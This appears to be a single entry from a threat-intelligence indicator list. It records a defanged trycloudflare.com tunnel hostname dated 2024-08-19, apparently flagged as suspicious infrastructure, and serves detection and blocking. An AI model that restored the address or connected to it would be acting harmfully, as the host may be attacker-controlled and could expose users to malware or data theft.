invasion-prisoners-inns-aging[.]trycloudflare[.]com 

TryCloudflare Tunnel Hostname 

2024-08-19